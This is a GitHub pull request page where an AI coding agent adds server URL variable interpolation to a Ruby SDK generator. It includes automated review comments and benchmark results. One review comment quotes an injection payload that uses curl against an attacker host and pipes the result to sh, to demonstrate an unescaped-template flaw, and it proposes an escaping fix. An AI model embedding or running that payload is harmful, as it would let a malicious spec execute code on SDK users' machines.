Skip to content

feat(ruby): support server URL variables (region/edge routing)#16980

Open
devin-ai-integration[bot] wants to merge 4 commits into
mainfrom
devin/1783551727-ruby-server-url-variables
Open

feat(ruby): support server URL variables (region/edge routing)#16980
devin-ai-integration[bot] wants to merge 4 commits into
mainfrom
devin/1783551727-ruby-server-url-variables

Conversation

@devin-ai-integration

@devin-ai-integration devin-ai-integration Bot commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

Description

Adds server URL variable (a.k.a. region/edge) routing support to the Ruby v2 SDK generator (generators/ruby-v2). This mirrors the TypeScript rollout in #16977 and the existing Python/Java behavior (construction-time interpolation).

OpenAPI servers[].variables are modeled in the IR as EnvironmentsConfig, where each environment carries a urlTemplate/urlTemplates (URL strings with {id} placeholders) plus urlVariables (ServerVariable { id, name, default, values? }). Previously the Ruby generator ignored urlVariables and only emitted the static default URL(s). Now each server variable is exposed as an optional keyword argument on the client initializer and interpolated into the base URL(s) at construction time.

Changes Made

  • RootClientGenerator.ts:
    • collectServerVariables() reads ir.environments, handling both singleBaseUrl and multipleBaseUrls shapes, taking variables from the first environment that declares them and de-duplicating by id.
    • getServerVariableOptions() maps each variable's name to an idiomatic snake_case initializer keyword. Names colliding with a reserved option (base_url, environment, max_retries, token, ...) are prefixed with server_url_ (so a variable literally named environment is surfaced as server_url_environment).
    • Each option is added as an optional nil-defaulted keyword parameter (with YARD docs for allowed values + default).
    • getServerVariableInterpolationStatement() emits, as the first statement of initialize, an interpolation block: when any server variable is provided, the base URL(s) are rebuilt from the environment's URL template(s), substituting {id}#{_option} and falling back to each variable's IR default. For multipleBaseUrls it rebuilds the environment hash (each named base URL from its own template); for singleBaseUrl it rebuilds base_url.
  • Added the server-url-templating fixture to seed/ruby-sdk-v2/seed.yml (outputFolder: no-custom-config, customConfig: null).
  • Regenerated and committed the seed snapshot under seed/ruby-sdk-v2/server-url-templating/.
  • Added changelog entry generators/ruby-v2/sdk/changes/unreleased/add-server-url-variable-support.yml (type: feat).

Generated initialize for the fixture (multipleBaseUrls: base + auth):

def initialize(base_url: nil, environment: Seed::Environment::REGIONAL_API_SERVER, region: nil, server_url_environment: nil, max_retries: 2)
  if !region.nil? || !server_url_environment.nil?
    _region = region.nil? ? "us-east-1" : region
    _server_url_environment = server_url_environment.nil? ? "prod" : server_url_environment
    environment = {
      base: "https://api.#{_region}.#{_server_url_environment}.example.com/v1",
      auth: "https://auth.#{_region}.example.com",
    }
  end
  @base_url = base_url
  @environment = environment
  ...

region and server_url_environment (collision with the reserved environment option) are exposed as optional keyword args and interpolated into both the base and auth URLs, defaulting to us-east-1 / prod.

Changes Made

  • Ruby v2 root client generator: extract, expose, and interpolate server URL variables
  • Seed: added server-url-templating fixture + regenerated snapshot
  • Changelog: feat entry for Ruby v2 SDK
  • Updated README.md generator (if applicable) — n/a

Testing

  • seed test --generator ruby-sdk-v2 --fixture server-url-templating --localsuccess (1/1).
  • Existing @fern-api/ruby-sdk unit tests pass (6/6). The Ruby v2 SDK has no client/environment unit-test suite, so the seed snapshot serves as the regression test.
  • Unit tests added/updated — relied on seed snapshot (no existing suite)
  • Manual testing completed

Server URL variable validation

Server URL variable validation: Region/environment values are interpolated into the URL template verbatim. Values are NOT validated against the declared allowed values (enum) — passing an unknown value (e.g. region="mars") simply produces https://api.mars.<...> rather than raising. This matches the existing Python and Java generator behavior for server URL variables.

Link to Devin session: https://app.devin.ai/sessions/26cd50f091e14ba0980be6cee2b85d7a
Requested by: @cadesark


Open in Devin Review

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
@devin-ai-integration

Copy link
Copy Markdown
Contributor Author

🤖 Devin AI Engineer

I'll be helping with this pull request! Here's what you should know:

✅ I will automatically:

  • Address comments on this PR. Add '(aside)' to your comment to have me ignore it.
  • Look at CI failures and help fix them

Note: I can only respond to comments from users who have write access to this repository.

⚙️ Control Options:

  • Disable automatic comment, CI, and merge conflict monitoring

@nitpickybot nitpickybot Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AI Review Summary

Adds server URL variable interpolation to the Ruby v2 generator. The core logic is sound, but there's a scoping bug in the generated singleBaseUrl path and a missing input validation gap for allowed values.

  • 🔴 1 critical issue(s)
  • 🟡 1 warning(s)
  • 🔵 2 suggestion(s)

Comment on lines +841 to +845
return ruby.codeblock((writer) => {
writer.writeLine(`if ${condition}`);
writer.indent();
writeLocalDeclarations(writer);
writer.writeLine(`base_url = ${this.urlTemplateToRubyString(template, options)}`);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 critical

In the singleBaseUrl branch, base_url is assigned inside the if block, but base_url is a method parameter — reassigning it works. However, the interpolation only runs when a server variable is provided, and the assignment overwrites the user-supplied base_url even if they explicitly passed one. If a user passes both base_url: and a server variable, their explicit base_url is silently clobbered by the interpolated template. Consider only interpolating when base_url was not explicitly provided (mirror how the runtime falls back base_url || environment).

const value =
template != null
? this.urlTemplateToRubyString(template, options)
: JSON.stringify(staticUrls[baseUrl.id] ?? "");

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 warning

staticUrls[baseUrl.id] ?? "" will silently emit an empty string as a URL if a base URL has neither a template nor a static value. That produces a client that quietly points at "". Prefer failing loudly (or skipping the key) rather than generating a broken environment hash.

const writeLocalDeclarations = (writer: ruby.Writer): void => {
for (const { optionName, localName, variable } of options) {
const fallback = JSON.stringify(variable.default ?? "");
writer.writeLine(`${localName} = ${optionName}.nil? ? ${fallback} : ${optionName}`);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 suggestion

variable.default ?? "" falls back to an empty string when a variable has no default. Combined with the {id} interpolation, an omitted variable with no default yields a URL segment of "" — likely a malformed URL. Worth documenting or guarding; the generated docs claim it "falls back to each variable's default" but there may be none.

for (const { variable, optionName } of serverVariableOptions) {
const docLines: string[] = [];
if (variable.values != null && variable.values.length > 0) {
docLines.push(`Allowed values: ${variable.values.join(", ")}.`);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 suggestion

The YARD docs advertise Allowed values, but no runtime validation enforces them — a user can pass any string and it flows straight into the URL. That's acceptable if intentional (matching Python/Java), but consider noting it, since the doc implies a constraint that isn't enforced.

for (const { variable, localName } of options) {
result = result.split(`{${variable.id}}`).join(`#{${localName}}`);
}
return `"${result}"`;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 Code injection via unescaped URL template in generated Ruby string literal

The urlTemplateToRubyString function embeds the raw template string (which originates directly from server.url in the OpenAPI spec, confirmed at convertServer.ts:22 with no sanitization) into a Ruby double-quoted string literal without escaping. Ruby double-quoted strings interpret #{} as arbitrary expression interpolation, and " terminates the string.

An attacker who controls the API spec (e.g., a third-party API definition published to a registry or pulled via fern add) can craft a URL template such as:

https://api.{region}.example.com/#{`system('curl http://attacker.com/pwn | sh')`}

After processing, {region}#{_region} and the injected payload is preserved. The generator emits:

base_url = "https://api.#{_region}.example.com/#{`system('curl http://attacker.com/pwn | sh')`}"

This executes the shell command every time the generated SDK's initialize is called by end users — a supply-chain code injection attack. Similarly, an unescaped " in the template would break out of the string literal and allow injection of arbitrary Ruby statements.

Prompt To Fix With AI
In `urlTemplateToRubyString`, escape all Ruby-special characters in the template *before* performing variable substitution, and avoid accidental double-escaping of the intentionally inserted `#{}` sequences. A safe approach:

1. Use a unique placeholder (e.g., `\x00VAR\x00N\x00`) for each `{variable.id}` *before* any escaping.
2. Escape the template for Ruby double-quoted string context: replace `\``\\`, `"``\"`, and `#``\#` (only free-standing `#`, not our placeholders).
3. Replace placeholders back with `#{localName}`.

Example implementation:
```typescript
private urlTemplateToRubyString(template: string, options: ServerVariableOption[]): string {
    // Step 1: replace each {id} with a safe placeholder
    const placeholders: string[] = [];
    let result = template;
    for (let i = 0; i < options.length; i++) {
        const placeholder = `\x00VAR${i}\x00`;
        placeholders.push(placeholder);
        result = result.split(`{${options[i]!.variable.id}}`).join(placeholder);
    }
    // Step 2: escape backslashes, double-quotes, and # (prevent arbitrary interpolation)
    result = result
        .split("\\").join("\\\\")
        .split('"').join('\\"')
        .split("#").join("\\#");
    // Step 3: restore placeholders as Ruby interpolation sequences
    for (let i = 0; i < options.length; i++) {
        result = result.split(placeholders[i]!).join(`#{${options[i]!.localName}}`);
    }
    return `"${result}"`;
}
```

This ensures that only the intentionally generated `#{localName}` interpolations are active in the emitted Ruby string, and any attacker-controlled `"`, `\`, or `#` in the URL template is neutralised.

Severity: high | Confidence: 90% | React with 👍 if useful or 👎 if not

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
@github-actions

github-actions Bot commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

SDK Generation Benchmark Results

Comparing PR branch against median of 5 nightly run(s) on main (latest: 2026-07-09T05:18:32Z).

Full benchmark table (click to expand)
Generator Spec main (generator) main (E2E) PR (generator) Delta
csharp-sdk square 72s (n=5) 114s (n=5) 71s -1s (-1.4%)
go-sdk square 135s (n=5) 287s (n=5) 132s -3s (-2.2%)
java-sdk square 218s (n=5) 272s (n=5) 201s -17s (-7.8%)
php-sdk square 62s (n=5) 84s (n=5) 58s -4s (-6.5%)
python-sdk square 139s (n=5) 241s (n=5) 131s -8s (-5.8%)
ruby-sdk-v2 square 92s (n=5) 128s (n=5) 92s +0s (+0.0%)
rust-sdk square 175s (n=5) 165s (n=5) 188s +13s (+7.4%)
swift-sdk square 61s (n=5) 439s (n=5) 53s -8s (-13.1%)
ts-sdk square 129s (n=5) 128s (n=5) 126s -3s (-2.3%)

main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via fern generate). main (E2E): full customer-observable time including build/test scripts (nightly baseline, informational). Delta is computed against generator-only baseline.
⚠️ = generation exited with a non-zero exit code (timing may not reflect a successful run).
Baseline from nightly runs on main (latest: 2026-07-09T05:18:32Z). Trigger benchmark-baseline to refresh.
Last updated: 2026-07-09 15:01 UTC

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Devin Review found 1 potential issue.

Open in Devin Review

Comment on lines +841 to +848
return ruby.codeblock((writer) => {
writer.writeLine(`if ${condition}`);
writer.indent();
writeLocalDeclarations(writer);
writer.writeLine(`base_url = ${this.urlTemplateToRubyString(template, options)}`);
writer.dedent();
writer.writeLine(`end`);
});

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔍 Server variable interpolation unconditionally overwrites user-supplied base_url

When any server variable is non-nil, the generated if block at lines 842-848 overwrites the base_url local variable (or environment for multi-URL at lines 857-876) with the interpolated URL, even if the user explicitly passed a base_url argument. This means MyClient.new(base_url: 'https://custom.example.com', region: 'eu-west-1') would ignore the custom base_url in favor of the templated URL. This is likely intentional (server variables imply template usage), but the precedence behavior is not documented in the generated code's YARD docs and could surprise users.

Open in Devin Review

Was this helpful? React with 👍 or 👎 to provide feedback.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is intentional and matches the existing Python/Java/TS behavior this PR mirrors. In Python's _write_url_template_interpolation, the singleBaseUrl branch likewise does base_url = "<template>".format(...) unconditionally when any server variable is set, and the multipleBaseUrls branch sets environment = ... (leaving an explicit base_url to still win downstream). This Ruby implementation is consistent with that:

  • multipleBaseUrls (the fixture here): the if block rebuilds environment, and an explicitly-passed base_url still takes precedence via base_url || environment&.dig(:base) for the default URL, while server variables still apply to the other named URLs (e.g. auth).
  • singleBaseUrl: server variables interpolate into the single base URL; there's no separate URL for an explicit base_url to coexist with, matching Python.

Keeping it aligned with the other generators to preserve cross-language consistency, so no code change here.

cade and others added 2 commits July 9, 2026 13:56
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
@github-actions

github-actions Bot commented Jul 9, 2026

Copy link
Copy Markdown
Contributor

Docs Generation Benchmark Results

Comparing PR branch against median of 5 nightly run(s) on main (latest: 2026-07-09T05:18:32Z).

Fixture main PR Delta
docs 243.0s (n=5) 242.3s (35 versions) -0.7s (-0.3%)

Docs generation runs fern generate --docs --preview end-to-end against the benchmark fixture with 35 API versions (each version: markdown processing + OpenAPI-to-IR + FDR upload).
Delta is computed against the nightly baseline on main.
Baseline from nightly run(s) on main (latest: 2026-07-09T05:18:32Z). Trigger benchmark-baseline to refresh.
Last updated: 2026-07-09 15:02 UTC

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants